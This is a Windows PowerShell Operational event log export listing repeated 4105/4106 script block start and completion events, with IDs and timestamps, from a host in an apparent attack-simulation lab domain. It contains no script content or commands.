RecordNumber=2050730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050728
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050727
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050703
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050702
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050701
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050700
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050683
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050678
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050677
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
